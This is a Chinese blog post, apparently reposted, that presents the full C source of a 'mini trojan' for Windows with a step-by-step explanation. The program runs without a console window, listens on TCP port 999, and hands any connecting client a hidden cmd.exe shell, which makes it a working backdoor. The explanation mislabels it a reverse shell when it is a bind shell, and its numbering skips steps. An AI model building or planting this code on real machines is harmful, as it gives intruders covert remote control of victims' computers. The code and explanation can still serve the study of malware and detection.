mini木马实现原理

这篇具有很好参考价值的文章主要介绍了mini木马实现原理。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

#pragma comment(lib, "ws2_32.lib")

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

#include <winsock2.h>

#include <windows.h>

#define MasterPort 999  //定义监听端口999

main()   //主函数入口

{

    WSADATA WSADa;

    sockaddr_in SockAddrIn;

    SOCKET CSocket, SSocket;

    int iAddrSize;

    PROCESS_INFORMATION ProcessInfo;

    STARTUPINFO StartupInfo;

    char szCMDPath[255];



    //分配内存资源,初始化数据:

    ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));

    ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));

    ZeroMemory(&WSADa, sizeof(WSADATA));



    //获取cmd路径

    GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath));



    //加载ws2_32.dll:

    WSAStartup(0x0202, &WSADa);



    //设置本地信息和绑定协议,建立socket,代码如下:

    SockAddrIn.sin_family = AF_INET;

    SockAddrIn.sin_addr.s_addr = INADDR_ANY;

    SockAddrIn.sin_port = htons(MasterPort);

    CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);



    //设置绑定端口999:

    bind(CSocket, (sockaddr*)&SockAddrIn, sizeof(SockAddrIn));



    //设置服务器端监听端口:

    listen(CSocket, 1);

    iAddrSize = sizeof(SockAddrIn);



    //开始连接远程服务器,并配置隐藏窗口结构体:

    SSocket = accept(CSocket, (sockaddr*)&SockAddrIn, &iAddrSize);

    StartupInfo.cb = sizeof(STARTUPINFO);

    StartupInfo.wShowWindow = SW_HIDE;

    StartupInfo.dwFlags = STARTF_USESTDHANDLES |

        STARTF_USESHOWWINDOW;

    StartupInfo.hStdInput = (HANDLE)SSocket;

    StartupInfo.hStdOutput = (HANDLE)SSocket;

    StartupInfo.hStdError = (HANDLE)SSocket;



    //创建匿名管道:

    CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);

    WaitForSingleObject(ProcessInfo.hProcess, INFINITE);

    CloseHandle(ProcessInfo.hProcess);

    CloseHandle(ProcessInfo.hThread);



    //关闭进程句柄:

    closesocket(CSocket);

    closesocket(SSocket);

    WSACleanup();

    //关闭连接卸载ws2_32.dll

    return 0;

}

代码讲解:

        这段代码是一个 Windows 平台上的反向 shell 示例,用于监听指定端口并接受连接。一旦连接建立,它将启动一个命令提示符进程,并将其输入和输出重定向到连接的客户端。以下是代码的详细解释:

1. 链接 Winsock 库:
   #pragma comment(lib, "ws2_32.lib")
   这一行告诉链接器链接到 Winsock 2 库,以便使用网络功能。

2. 设置链接选项:
   #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
   这一行设置链接选项,使程序在 Windows 子系统中运行,并指定程序的入口点。

3. 包含头文件:
   #include <winsock2.h>
   #include <windows.h>
   这些行包括 Windows 和 Winsock API 的必要头文件。

4. 定义监听端口:
   #define MasterPort 999
   这一行定义了服务器将监听的端口号。

5. 初始化内存:
   使用 ZeroMemory 函数初始化变量,确保它们不包含任何垃圾数据。

8. 获取命令提示符路径(为了能够启动一个新的命令提示符进程):
   使用 GetEnvironmentVariable 函数获取 "COMSPEC" 环境变量的值,该值通常指向cmd.exe。

9. 初始化 Winsock:
   使用 WSAStartup函数初始化 Winsock 库。

10. 设置套接字地址结构:
    配置 sockaddr_in结构以便绑定套接字。

11. 创建套接字:
    使用 WSASocket 函数创建套接字。

12. 绑定套接字:
    使用 bind 函数将套接字绑定到指定的端口。

13. 监听连接:
    使用 listen函数开始监听连接。

14. 接受连接:
    使用 accept 函数等待并接受连接。

15. 配置启动信息:
    设置 STARTUPINFO 结构以重定向新进程的 I/O 并隐藏窗口。

16. 创建进程:
    使用 CreateProcess函数启动命令提示符进程。

17. 等待进程结束:
    使用 WaitForSingleObject 函数等待进程结束。

18. 关闭句柄和套接字:
    清理资源并关闭套接字。

19. 卸载 Winsock 库:
    使用 WSACleanup 函数卸载 Winsock 库。

总的来说,这个程序创建了一个监听指定端口的服务器,等待连接,然后启动一个命令提示符进程,并将其输入和输出重定向到连接的客户端。这允许连接的客户端通过网络控制新进程,就像它是在本地运行一样。

启动一个命令提示符进程,并将其输入和输出重定向到连接的客户端解释:

在提供的代码示例中,启动命令提示符进程并将其输入和输出重定向到连接的客户端的部分如下:

1. 配置启动信息:
   StartupInfo.cb = sizeof(STARTUPINFO);
   StartupInfo.wShowWindow = SW_HIDE;
   StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
   StartupInfo.hStdInput = (HANDLE)SSocket;
   StartupInfo.hStdOutput = (HANDLE)SSocket;
   StartupInfo.hStdError = (HANDLE)SSocket;
   这些行配置 `STARTUPINFO` 结构,该结构用于指定新进程的启动参数。这里的设置将新进程的标准输入、输出和错误句柄重定向到接受的套接字(SSocket),从而允许远程控制新进程的 I/O。窗口被设置为隐藏,以便进程在用户界面中不可见。

2. 创建进程:
   CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
   这一行使用上述的启动信息创建一个新进程。szCMDPath参数指定了要运行的命令行,这里是通过 GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath)); 获取的命令提示符的路径。

这些代码行共同实现了启动一个新的命令提示符进程,并将其输入和输出重定向到连接的客户端,从而允许远程用户通过网络连接控制命令提示符。文章来源地址https://www.toymoban.com/news/detail-648441.html

到了这里,关于mini木马实现原理的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • ihateniggers:针对Python开发者的Windows远控木马分析

    墨菲安全实验室在持续监测开源软件仓库中的投毒行为,5 月 9 日起发现 4 个包含 “ihateniggers” 远程控制木马的 Python 包被 nagogy@gmail.com 邮箱关联的账号发布到 PyPI 仓库,试图针对Windows系统下 Python 开发者进行攻击。木马利用了discord、replit、playit 等多个平台托管后门、隐藏

    2024年02月07日
    浏览(41)
  • Windows屏幕解锁服务原理及实现(1)

    https://github.com/zk2013/windows_remote_lock_unlock_screen   将生成的DLL注册至注册表 HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionAuthenticationCredential Providers ,之后的每次锁屏或开机登录都会加载这个DLL。 实现这个DLL有相关的微软文档: ICredentialProvider 接口 ICredentialProviderCredential 接口

    2024年02月02日
    浏览(25)
  • Windows桌面水印去除工具Universal Watermark Disabler原理分析及实现

      最近做驱动开发,开启了系统测试模式,于是桌面的右下角就有一个水印,如下图:   测试了网上修改注册表方法不起作用,最后找到一款工具Universal Watermark Disabler可以把水印去除掉。于是对其原理有些兴趣,就有了相关的分析及编程实现。   使用Process Monitor抓取

    2024年02月13日
    浏览(38)
  • 【Windows Server 2019 Ipsec安全策略】关于Server中配置IPSec的步骤实现两机之间的安全通信

    本地安全策略,是指对登陆到计算机上的账号定义一些安全设置,在没有活动目录集中管理的情况下,本地管理员必须为计算机进行设置以确保其安全。 IP安全策略是一个给予通讯分析的策略,当我们配置好IP安全策略后,就相当于拥有了一个免费但功能完善的个人防火墙。

    2024年02月12日
    浏览(36)
  • (2.1)【经典木马-冰河木马】详细介绍,原理、使用方法

    目录 一、简介: 1.1、简述: 1.2、历史: 1.3、功能: 1.4、清除方法: 1.5、程序实现: 二、冰河木马使用 2.1、第一步:准备好冰河木马 2.2、第二步:配置好目标主机 2.3、第三步:配置好服务端 2.4、第四步:g_sever被运行 2.5、第五步:使用客户端进行连接 木马冰河是用C++B

    2024年02月08日
    浏览(48)
  • windows安全中心设置@WindowsDefender@windows安全中心常用开关

    windows@安全中心@windows security windwos defender误删文件恢复@添加信任免扫描域 Windows Defender是微软推出的内置防病毒和反恶意软件工具,预装于Windows操作系统中,主要功能包括实时防护、定期扫描、云端威胁情报更新、恶意软件清除以及网络浏览保护等。 它专注于安静高效地保

    2024年04月09日
    浏览(41)
  • Windows安全基础——Windows WMI详解

    WMI(Windows Management Instrumentation, Windows管理规范)是Windows 2000/XP管理系统的核心,属于管理数据和操作的基础模块。设计WMI的初衷是达到一种通用性,通过WMI操作系统、应用程序等来管理本地或者远程资源。它支持分布式组件对象模型(DCOM,Distribution Components Object Model)和W

    2024年01月18日
    浏览(39)
  • 全面揭秘Windows激活原理

    一、首先,我个人是建议与支持大家使用正版Windows系统的。即使不使用正版,也应当尽量避免使用盗版。 二、当然本文会尽量客观和全面的带大家了解一下现在 Windows 激活方面的信息。 三、附本文演示工具下载地址 【下载地址1】 https://download.csdn.net/download/qq_39190622/8751331

    2024年02月05日
    浏览(35)
  • Windows原理深入学习系列-特权

    这是[ 信安成长计划 ]的第 21 篇文章 0x01 介绍 0x02 结构分析 0x03 进程注入测试 0x04 参考文章 在 Token 当中还存在一个特别重要的内容——Privileges,它也是权限检查中的一个,当用户去执行一些特权操作的时候,会检查这个位置,看是否有执行的权限。 通过滥用一些特权指令,

    2024年02月07日
    浏览(25)
  • Windows系统如何临时关闭“Windows安全中心实时保护”

    启动windows depender实时保护可能会使系统不太流畅,也可能会导致我们的程序无法正常运行,因为它会拦截或搜索我们的正常工作。 暂时 关闭windows depender的实时保护 对许多用户来说非常重要。    打开Windows安全中心; 打开病毒和威胁防护或管理设置,关闭实时保护。 这样

    2024年02月07日
    浏览(50)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包